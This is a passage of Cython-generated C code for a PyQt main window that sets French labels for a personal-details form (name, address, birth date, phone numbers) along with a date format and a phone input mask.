__pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1012 * self.RB_Del.setText(_translate("MainWindow", "Effacer")) * self.label.setText(_translate("MainWindow", "Nom")) * self.label_6.setText(_translate("MainWindow", "Prnom")) # <<<<<<<<<<<<<< * self.label_13.setText(_translate("MainWindow", "Adresse")) * self.label_10.setText(_translate("MainWindow", "Npa/Localit")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1012, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1012, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__611, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1012, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1012, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1012, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1012, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1012, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1012, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1013 * self.label.setText(_translate("MainWindow", "Nom")) * self.label_6.setText(_translate("MainWindow", "Prnom")) * self.label_13.setText(_translate("MainWindow", "Adresse")) # <<<<<<<<<<<<<< * self.label_10.setText(_translate("MainWindow", "Npa/Localit")) * self.label_14.setText(_translate("MainWindow", "Pays")) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_13); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1013, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1013, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__612, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1013, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1013, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1013, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1013, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1013, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1013, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1014 * self.label_6.setText(_translate("MainWindow", "Prnom")) * self.label_13.setText(_translate("MainWindow", "Adresse")) * self.label_10.setText(_translate("MainWindow", "Npa/Localit")) # <<<<<<<<<<<<<< * self.label_14.setText(_translate("MainWindow", "Pays")) * self.label_12.setText(_translate("MainWindow", "Date naissance")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_10); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1014, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1014, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__613, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1014, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1014, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1014, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1014, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1014, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1014, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1015 * self.label_13.setText(_translate("MainWindow", "Adresse")) * self.label_10.setText(_translate("MainWindow", "Npa/Localit")) * self.label_14.setText(_translate("MainWindow", "Pays")) # <<<<<<<<<<<<<< * self.label_12.setText(_translate("MainWindow", "Date naissance")) * self.R_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_14); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1015, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1015, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__614, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1015, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1015, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1015, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1015, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1015, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1015, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1016 * self.label_10.setText(_translate("MainWindow", "Npa/Localit")) * self.label_14.setText(_translate("MainWindow", "Pays")) * self.label_12.setText(_translate("MainWindow", "Date naissance")) # <<<<<<<<<<<<<< * self.R_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) * self.label_15.setText(_translate("MainWindow", "Tlphones:")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_12); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1016, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1016, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__615, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1016, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1016, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1016, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1016, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1016, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1016, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1017 * self.label_14.setText(_translate("MainWindow", "Pays")) * self.label_12.setText(_translate("MainWindow", "Date naissance")) * self.R_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) # <<<<<<<<<<<<<< * self.label_15.setText(_translate("MainWindow", "Tlphones:")) * self.label_16.setText(_translate("MainWindow", "Priv:")) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_date); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1017, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setDisplayFormat); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1017, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__616, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1017, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1017, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1017, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1017, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1017, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1017, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1018 * self.label_12.setText(_translate("MainWindow", "Date naissance")) * self.R_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) * self.label_15.setText(_translate("MainWindow", "Tlphones:")) # <<<<<<<<<<<<<< * self.label_16.setText(_translate("MainWindow", "Priv:")) * self.R_telephone.setInputMask(_translate("MainWindow", "+##/####/### ####")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_15); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1018, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1018, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__617, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1018, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1018, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1018, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1018, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1018, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1018, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1019 * self.R_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) * self.label_15.setText(_translate("MainWindow", "Tlphones:")) * self.label_16.setText(_translate("MainWindow", "Priv:")) # <<<<<<<<<<<<<< * self.R_telephone.setInputMask(_translate("MainWindow", "+##/####/### ####")) * self.label_17.setText(_translate("MainWindow", "Urgence:")) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_16); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1019, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1019, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__618, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1019, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1019, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1019, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1019, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1019, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = 